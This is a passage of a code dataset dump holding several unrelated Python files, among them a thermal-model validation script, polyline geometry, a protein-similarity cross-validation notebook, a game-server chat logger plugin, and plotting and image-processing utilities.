low_order_VDI.reducedOrderModelVDI(houseData, weatherTemperature, solarRad_in,\n equalAirTemp, alphaRad, ventRate, Q_ig, source_igRad, krad,\n t_set_heating, t_set_cooling, heater_limit, cooler_limit,\n heater_order=np.array([1,2,3]), cooler_order=np.array([1,2,3]),\n dt=int(3600/times_per_hour))\n\n# Compute averaged results\nT_air_c = T_air - 273.15\nT_air_mean = np.array([np.mean(T_air_c[i*times_per_hour:(i+1)*times_per_hour]) for i in range(24*60)])\n\nT_air_1 = T_air_mean[0:24]\nT_air_10 = T_air_mean[216:240]\nT_air_60 = T_air_mean[1416:1440]\n\n# Load reference results \n(T_air_ref_1, T_air_ref_10, T_air_ref_60) = tc.load_res(\"inputs/case01_res.csv\")\nT_air_ref_1 = T_air_ref_1[:,0]\nT_air_ref_10 = T_air_ref_10[:,0]\nT_air_ref_60 = T_air_ref_60[:,0]\n\n\n# Plot comparisons\ndef plot_result(res, ref, title=\"Results day 1\"):\n plt.figure()\n ax_top = plt.subplot(211)\n plt.plot(res, label=\"Reference\", color=\"black\", linestyle=\"--\")\n plt.plot(ref, label=\"Simulation\", color=\"blue\", linestyle=\"-\")\n plt.legend()\n plt.ylabel(\"Temperature in degC\")\n \n plt.title(title)\n\n plt.subplot(212, sharex=ax_top)\n plt.plot(res-ref, label=\"Ref. - Sim.\")\n plt.legend()\n plt.ylabel(\"Temperature difference in K\")\n plt.xticks([4*i for i in range(7)])\n plt.xlim([1,24])\n plt.xlabel(\"Time in h\")\n\nplot_result(T_air_1, T_air_ref_1, \"Results day 1\")\nplot_result(T_air_10, T_air_ref_10, \"Results day 10\")\nplot_result(T_air_60, T_air_ref_60, \"Results day 60\")\n\nprint(\"Max. deviation day 1: \" + str(np.max(np.abs(T_air_1 - T_air_ref_1))))\nprint(\"Max. deviation day 10: \" + str(np.max(np.abs(T_air_10 - T_air_ref_10))))\nprint(\"Max. deviation day 60: \" + str(np.max(np.abs(T_air_60 - T_air_ref_60))))","sub_path":"teaser/validation_case01.py","file_name":"validation_case01.py","file_ext":"py","file_size_in_byte":3080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"523082776","text":"# -*- coding: utf-8 -*-\r\n\r\nimport matplotlib.pyplot as plt\r\nimport math\r\n\r\n\r\nclass Point(object):\r\n x = 0\r\n y = 0\r\n\r\n # 定义构造方法\r\n def __init__(self, x=0, y=0):\r\n self.x = x\r\n self.y = y\r\n\r\n\r\nclass Vector(object):\r\n def __init__(self, start_point, end_point):\r\n self.start, self.end = start_point, end_point\r\n self.x = end_point.x - start_point.x\r\n self.y = end_point.y - start_point.y\r\n\r\n\r\nclass Line(object):\r\n # a=0\r\n # b=0\r\n # c=0\r\n def __init__(self, p1, p2):\r\n self.p1 = p1\r\n self.p2 = p2\r\n\r\n\r\nclass PolyLine(object):\r\n def __init__(self, pt_list):\r\n self.point_list = pt_list\r\n\r\n\r\n# 初始化数据\r\nZERO = 1e-9\r\n\r\n\r\n# 判断线段是否相交\r\ndef negative(vector):\r\n \"\"\"取反\"\"\"\r\n return Vector(vector.end, vector.start)\r\n\r\n\r\ndef vector_product(vectorA, vectorB):\r\n '''计算 x_1 * y_2 - x_2 * y_1'''\r\n return vectorA.x * vectorB.y - vectorB.x * vectorA.y\r\n\r\n\r\ndef is_intersected(A, B, C, D):\r\n '''A, B, C, D 为 Point 类型'''\r\n AC = Vector(A, C)\r\n AD = Vector(A, D)\r\n BC = Vector(B, C)\r\n BD = Vector(B, D)\r\n CA = negative(AC)\r\n CB = negative(BC)\r\n DA = negative(AD)\r\n DB = negative(BD)\r\n\r\n return (vector_product(AC, AD) * vector_product(BC, BD) <= ZERO) \\\r\n and (vector_product(CA, CB) * vector_product(DA, DB) <= ZERO)\r\n\r\n\r\n# 计算线段交点\r\ndef GetLinePara(line):\r\n line.a = line.p1.y - line.p2.y\r\n line.b = line.p2.x - line.p1.x\r\n line.c = line.p1.x * line.p2.y - line.p2.x * line.p1.y\r\n\r\n\r\ndef GetCrossPoint(l1, l2):\r\n\r\n GetLinePara(l1)\r\n GetLinePara(l2)\r\n if l1.a == l2.a and l2.b == l1.b:\r\n return None\r\n\r\n d = l1.a * l2.b - l2.a * l1.b\r\n p = Point()\r\n p.x = (l1.b * l2.c - l2.b * l1.c) * 1.0 / d\r\n p.y = (l1.c * l2.a - l2.c * l1.a) * 1.0 / d\r\n return p\r\n\r\n\r\n# 求平面中任意多段线按照左右方向平移一定距离的新线\r\ndef GetLineNormal(pt1, pt2, is_left):\r\n dir_vec = Vector(pt1, pt2)\r\n start_pt = Point(0, 0)\r\n end_pt = Point(0, 0)\r\n end_pt.x = -dir_vec.y\r\n end_pt.y = dir_vec.x\r\n if is_left:\r\n return Vector(start_pt, end_pt)\r\n else:\r\n return Vector(end_pt, start_pt)\r\n\r\n\r\ndef NormalizeVec(vector):\r\n length = vector.x * vector.x + vector.y * vector.y\r\n new_x = vector.x / length\r\n new_y = vector.y / length\r\n start_pt = Point(0, 0)\r\n end_pt = Point(new_x, new_y)\r\n return Vector(start_pt, end_pt)\r\n\r\n\r\ndef GetPtByVec(pt, vector, dis):\r\n vec_shift = NormalizeVec(vector)\r\n x = pt.x + vec_shift.x * dis\r\n y = pt.y + vec_shift.y * dis\r\n new_pt = Point(x, y)\r\n return new_pt\r\n\r\n\r\ndef GetNewPolyLine(poly_line, is_left, dis):\r\n if len(poly_line.point_list) != len(dis) + 1:\r\n return\r\n\r\n old_ploy_list = poly_line.point_list\r\n new_poly_list = list()\r\n for i in range(0, len(old_ploy_list) - 2):\r\n temp_pt1 = old_ploy_list[i]\r\n temp_pt2 = old_ploy_list[i + 1]\r\n temp_pt3 = old_ploy_list[i + 2]\r\n line_norm_front = GetLineNormal(temp_pt1, temp_pt2, is_left)\r\n line_norm_back = GetLineNormal(temp_pt2, temp_pt3, is_left)\r\n new_front_pt1 = GetPtByVec(temp_pt1, line_norm_front, dis[i])\r\n new_front_pt2 = GetPtByVec(temp_pt2, line_norm_front, dis[i])\r\n new_back_pt1 = GetPtByVec(temp_pt2, line_norm_back, dis[i + 1])\r\n new_back_pt2 = GetPtByVec(temp_pt3, line_norm_back, dis[i + 1])\r\n\r\n if i == 0:\r\n new_poly_list.append(new_front_pt1)\r\n\r\n new_pt = Point(0, 0)\r\n if new_front_pt2.x == new_back_pt1.x\\\r\n and new_front_pt2.y == new_back_pt1.y:\r\n new_pt = new_front_pt2\r\n new_poly_list.append(new_pt)\r\n else:\r\n new_front_line = Line(new_front_pt1, new_front_pt2)\r\n new_back_line = Line(new_back_pt1, new_back_pt2)\r\n if GetCrossPoint(new_front_line, new_back_line) is None:\r\n new_poly_list.append(new_front_pt2)\r\n new_poly_list.append(new_back_pt1)\r\n else:\r\n new_pt = GetCrossPoint(new_front_line, new_back_line)\r\n new_poly_list.append(new_pt)\r\n\r\n if i == len(old_ploy_list) - 3:\r\n new_poly_list.append(new_back_pt2)\r\n\r\n new_poly_line = PolyLine(new_poly_list)\r\n return new_poly_line\r\n\r\n\r\npt_list = list()\r\ndis_list = list()\r\nx_len = 20\r\ndis_step = 0.3\r\ny_var = math.sin(x_len)\r\nfor i in range(1, x_len):\r\n x = i\r\n y = i % 2\r\n if i < x_len / 2 + 1:\r\n dis = 1 - dis_step + i * dis_step\r\n else:\r\n dis = 1 + dis_step * (x_len / 2) - (i - x_len / 2) * dis_step\r\n pt = Point(x, y)\r\n pt_list.append(pt)\r\n dis_list.append(dis)\r\ndel dis_list[0]\r\npoly_line = PolyLine(pt_list)\r\nnew_poly_line = GetNewPolyLine(poly_line, True, dis_list)\r\nnew_poly_line2 = GetNewPolyLine(poly_line, False, dis_list)\r\n\r\n# 绘制两条线段和交点\r\nfigure, ax = plt.subplots()\r\n# 设置x，y值域\r\nax.set_xlim(left=-50, right=50)\r\nax.set_ylim(bottom=-50, top=50)\r\n\r\n# 绘制polyline数据\r\nx1_list = list()\r\ny1_list = list()\r\nfor pt in poly_line.point_list:\r\n x1_list.append(pt.x)\r\n y1_list.append(pt.y)\r\nplt.plot(x1_list, y1_list, linewidth=2, color='red')\r\nplt.scatter(x1_list, y1_list, s=10, color='red')\r\n\r\nx2_list = list()\r\ny2_list = list()\r\nfor pt in new_poly_line.point_list:\r\n x2_list.append(pt.x)\r\n y2_list.append(pt.y)\r\nplt.plot(x2_list, y2_list, linewidth=2, color='blue')\r\nplt.scatter(x2_list, y2_list, s=10, color='blue')\r\n\r\nx3_list = list()\r\ny3_list = list()\r\nfor pt in new_poly_line2.point_list:\r\n x3_list.append(pt.x)\r\n y3_list.append(pt.y)\r\nplt.plot(x3_list, y3_list, linewidth=2, color='blue')\r\nplt.scatter(x3_list, y3_list, s=10, color='blue')\r\n\r\nplt.show()\r\n","sub_path":"Python/Algorithm/LineCross.py","file_name":"LineCross.py","file_ext":"py","file_size_in_byte":5768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"95932917","text":"from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.index, name = 'index'),\n url(r'^register$', views.register, name = 'register'),\n url(r'^victory$', views.victory, name = 'victory'),\n url(r'^log_in$', views.log_in, name = 'log_in'),\n url(r'^logout$', views.logout, name = 'logout')\n]\n","sub_path":"apps/log_in/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"612434565","text":"\n# coding: utf-8\n\n# # Function protein similarity\n# \n# Eugene Cherny
\n# Åbo Akademi University
\n# \n# ## Description\n# \n# ### Data\n# \n# - A subset of the UniProt dataset [1] prepared by Juho Heimonen:\n# - `proteins.features` file:\n# - 20 proteins selected.\n# - 400 instances.\n# - 41 features: 25 unigram frequency features from amino acids\n# and 16 bigram features from 4-class amino acid categorization.\n# - Symmetric pair-input data represented in a linear order.\n# - `proteins.labels` file:\n# - Binary data.\n# - “positive label if and only if pair members share\n# Gene Ontology annotation in “Molecular function” domain”.\n# \n# ### Task\n# \n# 1. Estimate generalisation performance with:\n# - Unmodified leave-one-out cross-validation.\n# - Modified leave-one-out cross-validation.\n# - There shouldn't be common proteins in the training and test data sets.\n# 2. Use KNN classifier with $K = 1$ and Euclidean distance as a metric.\n# 3. Use concordance index for evaluation.\n# \n# ### References\n# \n# [1] UniProt Consortium. “UniProt: a hub for protein information.” _Nucleic acids research_ (2014): gku989.\n\n# ## Implementation\n\n# In[14]:\n\nimport numpy as np\nimport pandas as pd\nfrom itertools import combinations\nfrom sklearn.neighbors import KNeighborsClassifier\n\nfrom math import ceil\n\n\n# ### Data loading\n\n# In[15]:\n\nproteins_features = pd.read_csv('proteins.features', header=None)\nproteins_labels = pd.read_csv('proteins.labels', header=None)\n\n\n# ### Cross-validation implementation\n\n# In[16]:\n\ndef leave_one_out(data_length: int) -> (int, np.ndarray):\n assert data_length > 1\n \n sel_arr = np.arange(data_length)\n for s in sel_arr:\n test = s\n train = np.delete(sel_arr, s)\n yield test, train\n\ndef modified_leave_one_out(num: int) -> (int, np.ndarray):\n assert num > 1\n \n comb = np.array(list(combinations(range(num), 2)))\n for ab in comb:\n test = ab[0] * num + ab[1] % num\n train_ab = comb[~np.in1d(comb[: ,0], ab) & ~np.in1d(comb[:, 1], ab)]\n train = train_ab[:, 0] * num + train_ab[:, 1] % num\n yield test, train\n \n\n\n# In[17]:\n\ncomb = np.array(list(combinations(range(20), 2)))\n\n\n# ### C index implementation\n\n# In[68]:\n\ndef c_index(pred: np.ndarray, orig: np.ndarray) -> float:\n assert pred.ndim == 1\n assert pred.shape == orig.shape\n assert len(pred) > 1\n \n comb = np.array(list(combinations(range(len(pred)), 2)))\n p_0 = pred[comb[:, 0]]\n p_1 = pred[comb[:, 1]]\n o_0 = orig[comb[:, 0]]\n o_1 = orig[comb[:, 1]]\n \n gt = (p_0 > p_1) & (o_0 > o_1)\n eq = (p_0 == p_1) & (o_0 == o_1)\n \n return (np.sum(gt) + np.sum(eq) * 0.5) / comb.shape[0]\n\n\n# ### Evaluation\n\n# In[69]:\n\neval_df = pd.DataFrame({'Leave-one-out': 0.0, 'Modified leave-one-out': 0.0}, index=['C index'])\nknn = KNeighborsClassifier(1, weights='uniform', metric='euclidean')\n\n\n# #### Unmodified leave-one-out\n\n# In[70]:\n\ncv_orig_y_pred = []\nfor test, train in leave_one_out(len(proteins_features)):\n x_test = proteins_features.iloc[test].reshape(1, -1)\n x_train = proteins_features.iloc[train]\n y_train = proteins_labels.iloc[train][0]\n knn.fit(x_train, y_train)\n y_pred = knn.predict(x_test)\n\n cv_orig_y_pred.append(y_pred[0])\n\neval_df.loc['C index', 'Leave-one-out'] = c_index(np.array(cv_orig_y_pred), np.asarray(proteins_labels[0]))\n\n\n# #### Modified leave-one-out\n\n# In[71]:\n\ncv_mod_y_idx = []\ncv_mod_y_pred = []\nfor test, train in modified_leave_one_out(20):\n x_test = proteins_features.iloc[test].reshape(1, -1)\n x_train = proteins_features.iloc[train]\n y_train = proteins_labels.iloc[train][0]\n knn.fit(x_train, y_train)\n y_pred = knn.predict(x_test)\n \n cv_mod_y_idx.append(test)\n cv_mod_y_pred.append(y_pred[0])\n\ny_pred = np.array(cv_mod_y_pred)\ny_orig = proteins_labels.as_matrix()[cv_mod_y_idx, 0]\neval_df.loc['C index', 'Modified leave-one-out'] = c_index(y_pred, y_orig)\n\n\n# In[72]:\n\nlen(cv_mod_y_idx)\n\n\n# ### Evaluation results\n# \n# C-index of modified leave-one-out method is lower than the original one,\n# because the latter assumes independence of variables. In our dataset\n# variables have dependencies, so with the modified method we have reduced\n# an optimistic bias imposed by the naive cross-validation approach.\n\n# In[73]:\n\neval_df\n\n\n# In[ ]:\n\n\n\n\n# In[ ]:\n\n\n\n","sub_path":"Application_of_Data_Analysis/topic_5_functional_protein_similarity/topic_5_functional_protein_similarity.py","file_name":"topic_5_functional_protein_similarity.py","file_ext":"py","file_size_in_byte":4445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"173133615","text":"'''\nUse this script to load a numpy array and plot\n'''\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sys\n\narg1 = sys.argv[1] # input array\narg2 = sys.argv[2] # output picture name\n\ndef plot_xvg(ifile, ofile):\n data = np.load(ifile)\n\n # define columns to plot\n col2plot = [1, 2, 3, 4, 6, 7]\n # define legend for each column\n leg = [\"Structure\", \"Coil\", r\"$\\beta$-sheet\", r\"$\\beta$-bridge\", \"Turn\",\n r\"$\\alpha$-helix\"]\n\n # visually distinguishable color, 10 levels\n color_l10 = ['#ff5900', '#ffb300', '#99ff00', '#00ff73', '#00ffcc',\n '#00d9ff', '#007fff', '#0026ff', '#e600ff', '#ff0066']\n\n # initialize figure\n fig = plt.figure(dpi=300)\n ax = fig.add_subplot(111)\n plt.hold(True)\n\n # counter for cycling color in for loop\n counter = 0\n\n for i in col2plot:\n plt.plot(data[:,0], data[:,i], color=color_l10[counter],\n label=leg[counter])\n counter += 1\n\n plt.xlabel(\"Time (ps)\", fontsize=15)\n plt.ylabel(\"Number of Residues\", fontsize=15)\n plt.legend(framealpha=0.5)\n\n # change x_tick label\n labels = [i.get_text() for i in ax.get_xticklabels()]\n b = [u'0', u'100', u'200', u'300', u'400', u'500', u'600']\n ax.set_xticklabels(b)\n\n\n # save figure in EPS\n plt.savefig(\"%s.pdf\" % ofile, dpi=300) # save eps for publication\n plt.savefig(\"%s.tif\" % ofile, dpi=300) # save tif for quick preview\n\nif __name__ == \"__main__\":\n plot_xvg(arg1, arg2)\n","sub_path":"plot_scount_fr_nparr.py","file_name":"plot_scount_fr_nparr.py","file_ext":"py","file_size_in_byte":1479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"253028155","text":"\"\"\"Read, split and save the dataset for SYN model\"\"\"\n\nimport argparse\nimport os\nfrom pathlib import Path\n\nfrom syn.helpers.argparser import common_parser, vocabulary_parser, embeddings_parser\nfrom syn.helpers.environment import load_environment_variables\nfrom syn.helpers.logging import set_logger\nfrom syn.helpers.nlp.embeddings import filter_word_embeddings, get_word_embeddings_filename, \\\n get_filtered_word_embeddings_filename\nfrom syn.helpers.system import check_same_python_module_already_running\nfrom syn.helpers.nlp.vocabulay import load_vocabulary\n\nload_environment_variables()\nlog = set_logger()\n\n\ndef get_input_params():\n parser = argparse.ArgumentParser(\n parents=[common_parser, vocabulary_parser, embeddings_parser],\n description='Filter word embeddings.'\n )\n\n args = parser.parse_args()\n\n return {\n 'corpus': args.corpus,\n 'query_limit': args.query_limit,\n 'vocabulary_name': args.vocabulary_name,\n 'embeddings_model': args.embeddings_model,\n 'embeddings_size': args.embeddings_size\n }\n\n\nif __name__ == \"__main__\":\n # Check if there is a running process that contains the name of this module.\n check_same_python_module_already_running(os.path.split(__file__))\n\n # Load parameters.\n input_params = get_input_params()\n assert input_params is not None, f\"No params provided.\"\n\n # Only have pre-trained word embeddings of dimension 300 for Word2Vec and FastText.\n if 300 != input_params['embeddings_size'] \\\n and ('word2vec' == input_params['embeddings_model'] or 'fasttext' == input_params['embeddings_model']):\n raise NotImplementedError(\n f\"This functionality is not implemented for {input_params['embeddings_model']} model and \"\n f\"pre-trained word embeddings of dimension {input_params['embeddings_size']}. Try \"\n f\"trained word embeddings or change dimension to 300.\")\n\n # Load vocabulary.\n log.info(f\"Loading vocabulary ...\")\n vocab = load_vocabulary(\n database_name=input_params['corpus'],\n collection_name=input_params['vocabulary_name'],\n query_limit=input_params['query_limit']\n )\n log.info(f\"Vocabulary loaded.\")\n\n # Filter word embeddings.\n we_filename = get_word_embeddings_filename(\n model=input_params['embeddings_model'],\n size=input_params['embeddings_size']\n )\n filtered_we_filename = get_filtered_word_embeddings_filename(\n corpus=input_params['corpus'],\n model=input_params['embeddings_model'],\n size=input_params['embeddings_size']\n )\n\n we_dir = Path(os.environ.get('DATA_PATH')) / 'word_embeddings'\n we_origin_path = Path(we_dir) / input_params['embeddings_model'] / we_filename\n we_filtered_path = Path(we_dir) / input_params['embeddings_model'] / filtered_we_filename\n\n word_embeddings_filtered = filter_word_embeddings(\n source=we_origin_path,\n dest=we_filtered_path,\n vocab=vocab\n )\n\n assert os.path.exists(we_filtered_path)\n log.info(f\"MODULE EXECUTED.\")\n","sub_path":"syn/model/build/common/filter_word_embeddings.py","file_name":"filter_word_embeddings.py","file_ext":"py","file_size_in_byte":3062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"29691844","text":"\"\"\"\nDicdine simple chat logger\n\nRuns off the same loop as Strouline.\n\"\"\"\nimport asyncio\nimport logging\nimport os\n\nfrom navaltf import steamid as steamid_cov\nfrom navaltf.dic import ddb\nfrom navaltf.dic import parser\nfrom strouline import db\nfrom strouline import get_plugin_context\nfrom strouline.obb import Topic, Post\n\nbot = get_plugin_context(\"Dicdine\")\n\nimport ujson\nimport rethinkdb as r\nfrom aiohttp import web\n\n# This was added on the 9th March 2016.\n# If you're running this 22 years later, you deserve what you get tbh\nEND_OF_WORLD = 2147483647\n\nloop = asyncio.get_event_loop()\n\nlogger = logging.getLogger(\"Strouline::Plugin::Dicdine\")\n\nlogger.info(\"Piggybacking off of Strouline to load Dicdine.\")\n\nLISTEN_UDP_HOST = os.environ.get(\"DD_UDP_HOST\", \"0.0.0.0\")\nLISTEN_UDP_PORT = int(os.environ.get(\"DD_UDP_PORT\", \"27831\"))\n\nlogger.info(\"Dicdine logging server loading\")\nlogger.info(\"RethinkDB server is connected on {}:{}\".format(db.HOST, db.PORT))\nlogger.info(\"Binding on UDP to {}:{}\".format(LISTEN_UDP_HOST, LISTEN_UDP_PORT))\n\n\nclass LoggerProtocol(object):\n def connection_made(self, transport):\n self.transport = transport\n\n def datagram_received(self, data, addr):\n logger.debug(\"Recieved message {} from {}\".format(data, addr))\n msg_data = parser.parse(data)\n if not msg_data:\n return\n coro = ddb.add_msg(msg_data, addr)\n loop.create_task(coro)\n\n\nlisten_server = bot._loop.create_datagram_endpoint(\n LoggerProtocol, local_addr=(LISTEN_UDP_HOST, LISTEN_UDP_PORT))\nbot.create_task(listen_server)\n\n# Create an aiohttp server.\napp = web.Application()\n\n\n# Create tables and indexes for events.\n@asyncio.coroutine\ndef init():\n logger.info(\"Loading Dicdine plugin...\")\n yield from db.init_db()\n yield from db.create_table(\"events\")\n yield from db.create_index(\"events\", \"killer_weapon\")\n yield from db.create_index(\"events\", \"steamid_date\", [r.row[\"steamid\"], r.row[\"date\"]])\n\n\nloop.run_until_complete(init())\n\n\n# Create forum events.\n@bot.mention_handler(\"getmessages\")\ndef get_chat_msgs(split: list, topic_data: Post):\n # We sorta hope that the upper SteamID3 doesn't exist.\n steamid = split[1]\n # lol error handling asyncio does that\n if \"STEAM_\" in steamid:\n steamid = steamid_cov.steamid_to_usteamid(steamid)\n elif steamid.startswith(\"7656\"):\n steamid = steamid_cov.commid_to_usteamid(steamid)\n # Get the upper SteamID.\n upper_num = int(steamid.split(\":\")[-1][:-1])\n upper_num += 1\n upper_steamid = \"[U:1:{}]\".format(upper_num)\n # Do the query.\n conn = yield from db.get_connection()\n q = db.get_rql()\n query = q.table(\"events\") \\\n .order_by(index=r.desc(\"steamid_date\")) \\\n .between([steamid, 0], [upper_steamid, 2147483647], index=\"steamid_date\") \\\n .limit(1000).filter({\"action\": \"say\"})\n # Get the messages.\n results = (yield from query.run(conn))\n # Get as many results as possible\n res = []\n while True:\n has_new = yield from results.fetch_next(wait=False)\n if not has_new:\n break\n result = yield from results.next()\n res.append(result)\n if len(res) >= 10:\n # Terminate at 10 messages, or at the end of new results.\n break\n # Make a pretty markdown post.\n post = \"Last 10 (if possible) messages for SteamID `{steamid}`:\\n\\n\".format(steamid=steamid)\n for msg in res:\n post += \"- `{dn} : {msg}` \\n\\t - server: **{ip}:{port}** \\n\\t - date: {date}\\n\" \\\n .format(dn=msg[\"displayname\"], msg=msg[\"msg\"], ip=msg[\"ip\"], port=msg[\"port\"],\n date=msg[\"date\"].strftime(\"%Y-%m-%d %H:%M:%S\"))\n # Post the post to the forums.\n posted = yield from bot.post_api(\"/topics/{}\".format(topic_data.tid),\n data={\"content\": post})\n yield from posted.release()\n\n\n# ======================================================================================================================\n#\n# Webserver\n\n# Create routes\ndef basic_route(request):\n o = open(\"plugins/dic/events.html\")\n data = o.read()\n o.close()\n return web.Response(body=data.encode())\n\n\n@asyncio.coroutine\ndef ws_route(request):\n ws = web.WebSocketResponse()\n yield from ws.prepare(request)\n\n # Get a connection.\n q = db.get_rql()\n conn = yield from db.get_connection()\n\n # Get a new set of data from RethinkDB.\n cursor = yield from q.table(\"events\").changes().run(conn)\n\n while (yield from cursor.fetch_next()):\n # Fetch some new items.\n data = yield from cursor.next()\n # Send a WS ping to keep it alive.\n ws.ping()\n ws.send_str(ujson.dumps(data[\"new_val\"]))\n\n\napp.router.add_route(\"GET\", \"/\", basic_route)\napp.router.add_route(\"GET\", \"/ws\", ws_route)\n\nhandler = app.make_handler()\nsrv = bot.create_task(loop.create_server(handler, \"127.0.0.1\", \"2341\"))\n\n\n@bot.on_close\n@asyncio.coroutine\ndef close_aiohttp():\n srv.close()\n loop.run_until_complete(srv.wait_closed())\n loop.run_until_complete(app.shutdown())\n loop.run_until_complete(handler.finish_connections(5))\n loop.run_until_complete(app.cleanup())\n","sub_path":"plugins/navaltf/dicdine.py","file_name":"dicdine.py","file_ext":"py","file_size_in_byte":5171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"297570138","text":"H,W,N=map(int,input().split())\nsr,sc=map(int,input().split())\nS=input()\nT=input()\n\nScount = {'L':[0],'R':[0],'U':[0],'D':[0]}\nTcount = {'L':[0],'R':[0],'U':[0],'D':[0]}\n\nrev = {'L':'R','D':'U','U':'D','R':'L'}\n\nfor i in range(N):\n for c in 'LRUD':\n if S[i] == c:\n Scount[S[i]].append(Scount[c][-1]+1)\n else:\n Scount[c].append(Scount[c][-1])\n for c in 'LRUD':\n if T[i] == c:\n if c == 'L':\n Tcount[T[i]].append(min(Tcount[T[i]][-1]+1, Scount['R'][i+1] + sc - 1))\n if c == 'R':\n Tcount[T[i]].append(min(Tcount[T[i]][-1]+1, W + Scount['L'][i+1] - sc))\n if c == 'D':\n Tcount[T[i]].append(min(Tcount[T[i]][-1]+1, H + Scount['U'][i+1] - sr))\n if c == 'U':\n Tcount[T[i]].append(min(Tcount[T[i]][-1]+1, Scount['D'][i+1] + sr - 1))\n else:\n Tcount[c].append(Tcount[c][-1])\nfor i in range(1, N+1):\n if (sc - (Scount['L'][i] - Tcount['R'][i-1]) < 1) or \\\n (sc + (Scount['R'][i] - Tcount['L'][i-1]) > W) or \\\n (sr + (Scount['D'][i] - Tcount['U'][i-1]) > H) or \\\n (sr - (Scount['U'][i] - Tcount['D'][i-1]) < 1):\n print(\"NO\")\n exit(0)\n\nprint(\"YES\")\n","sub_path":"agc033_b.py","file_name":"agc033_b.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"221734658","text":"from pandas.core.frame import DataFrame\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.feature_selection import RFE\n\n\ndef run_logistic_regression(x: DataFrame, y: DataFrame):\n \"\"\"\n Runs a logistic regression model.\n Args:\n x: (DataFrame): Data for x.\n y: (DataFrame): Data for y.\n Returns:\n Printed statement\n \"\"\"\n logistic_reg_model = LogisticRegression(max_iter=10000)\n rfe = RFE(logistic_reg_model, n_features_to_select=10)\n rfe = rfe.fit(x, y)\n # Summarize the selection of the attributes\n print(rfe.support_)\n print(rfe.ranking_)\n\n # Fit model\n # logistic_reg_model.fit(train_x, train_y)\n\n print(logistic_reg_model.summary())\n\n return logistic_reg_model\n","sub_path":"modelling/modellers/logistic_regression_modeller.py","file_name":"logistic_regression_modeller.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"344128849","text":"from dataportal import DataBroker as db, get_events\nimport filestore\nimport filestore.api as fsapi\nfrom metadatastore.commands import run_start_given_uid, descriptors_by_start\nimport matplotlib.pyplot as plt\nfrom xray_vision.backend.mpl.cross_section_2d import CrossSection\nfrom .callbacks import CallbackBase\n\n\nclass LiveImage(CallbackBase):\n \"\"\"\n Stream 2D images in a cross-section viewer.\n\n Parameters\n ----------\n field : string\n name of data field in an Event\n\n Note\n ----\n Requires a matplotlib fix that is not released as of this writing. The\n relevant commit is a951b7.\n \"\"\"\n def __init__(self, field):\n super().__init__()\n self.field = field\n fig = plt.figure()\n self.cs = CrossSection(fig)\n self.cs._fig.show()\n\n def event(self, doc):\n uid = doc['data'][self.field]\n data = fsapi.retrieve(uid)\n self.cs.update_image(data)\n self.cs._fig.canvas.draw()\n self.cs._fig.canvas.flush_events()\n\n\ndef post_run(callback):\n \"\"\"\n Trigger a callback to process all the Documents from a run at the end.\n\n This function does not receive the Document stream during collection.\n It retrieves the complete set of Documents from the DataBroker after\n collection is complete.\n\n Parameters\n ----------\n callback : callable\n a function that accepts all four Documents\n\n Returns\n -------\n func : function\n a function that acepts a RunStop Document\n\n Examples\n --------\n Print a table with full (lossless) result set at the end of a run.\n\n >>> s = Ascan(motor, [det1], [1,2,3])\n >>> table = LiveTable(['det1', 'motor'])\n >>> RE(s, {'stop': post_run(table)})\n +------------+-------------------+----------------+----------------+\n | seq_num | time | det1 | motor |\n +------------+-------------------+----------------+----------------+\n | 3 | 14:02:32.218348 | 5.00 | 3.00 |\n | 2 | 14:02:32.158503 | 5.00 | 2.00 |\n | 1 | 14:02:32.099807 | 5.00 | 1.00 |\n +------------+-------------------+----------------+----------------+\n \"\"\"\n def f(name, stop_doc):\n uid = stop_doc['run_start']\n start = run_start_given_uid(uid)\n descriptors = descriptors_by_start(uid)\n # For convenience, I'll rely on the broker to get Events.\n header = db[uid]\n events = get_events(header)\n callback.start(start)\n for d in descriptors:\n callback.descriptor(d)\n for e in events:\n callback.event(e)\n callback.stop(stop_doc)\n return f\n","sub_path":"bluesky/broker_callbacks.py","file_name":"broker_callbacks.py","file_ext":"py","file_size_in_byte":2716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"312038831","text":"import cv2\nimport numpy as np\nimport matplotlib.image as mpimg\nimport matplotlib.pyplot as plt\nimport camera_calibration as my_cc\nimport glob\n\n\ndef abs_sobel(img, orient='x', thresh=(0,255)):\n gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n\n if orient == 'x':\n sobel = np.absolute(cv2.Sobel(gray, cv2.CV_64F, 1, 0))\n else:\n sobel = np.absolute(cv2.Sobel(gray, cv2.CV_64F, 0, 1))\n\n scaled_sobel = np.uint8(255*sobel/np.max(sobel))\n\n\n binary_output = np.zeros_like(scaled_sobel)\n binary_output[(scaled_sobel >= thresh[0]) & (scaled_sobel <= thresh[1])] = 1\n return binary_output\n\n\ndef gradmag_sobel(img, sobel_kernel = 3, thresh=(0,255)):\n gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n\n sobelx = cv2.Sobel(gray, cv2.CV_64F, 1 ,0, ksize = sobel_kernel)\n sobely = cv2.Sobel(gray, cv2.CV_64F, 0 ,1, ksize = sobel_kernel)\n gradmag = np.sqrt(sobelx**2 + sobely**2)\n\n scale_factor = np.max(gradmag)/255\n gradmag = (gradmag/scale_factor).astype(np.uint8)\n\n binary_output = np.zeros_like(gradmag)\n binary_output[(gradmag >= thresh[0]) & (gradmag <= 